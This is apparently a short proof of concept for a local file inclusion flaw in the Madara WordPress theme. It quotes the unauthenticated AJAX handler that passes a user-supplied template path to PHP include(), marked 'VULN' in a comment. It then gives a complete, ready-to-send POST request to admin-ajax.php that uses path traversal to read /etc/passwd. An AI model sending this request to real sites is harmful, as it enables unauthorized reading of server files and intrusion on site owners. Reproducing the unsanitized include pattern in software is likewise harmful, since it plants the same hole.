add_action( 'wp_ajax_madara_load_more', array( $this, 'ajax_load_next_page' ) );
add_action( 'wp_ajax_nopriv_madara_load_more', array( $this, 'ajax_load_next_page' ) );

...

function ajax_load_next_page() {
  ...
  
  if ( $query->have_posts() ) {
    while ( $query->have_posts() ) {
      $query->the_post();
      $madara_loop_index ++;
      set_query_var( 'madara_loop_index', $madara_loop_index );
      
      if ( $madara_loop_index < $posts_per_page + 1 ) {
        if ( ( strpos( $template, 'plugins' ) !== false ) ) {
          include( $template ); // we are in wp-content\themes\madara\app\{plugins} VULN
        } else {
          //$post_format = get_post_format() ? get_post_format : '';
          get_template_part( $template, get_post_format() );
        }
      }
    }

    if ( $query->post_count <= $posts_per_page ) {
      // there are no more posts
      // print a flag to detect
      echo '<div class="invi no-posts"><!-- --></div>';
    }
  } else {
    // no posts found
  }

  /* Restore original Post Data */
  wp_reset_postdata();
  die( '' );
}

POST /wp-admin/admin-ajax.php HTTP/2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 490

action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail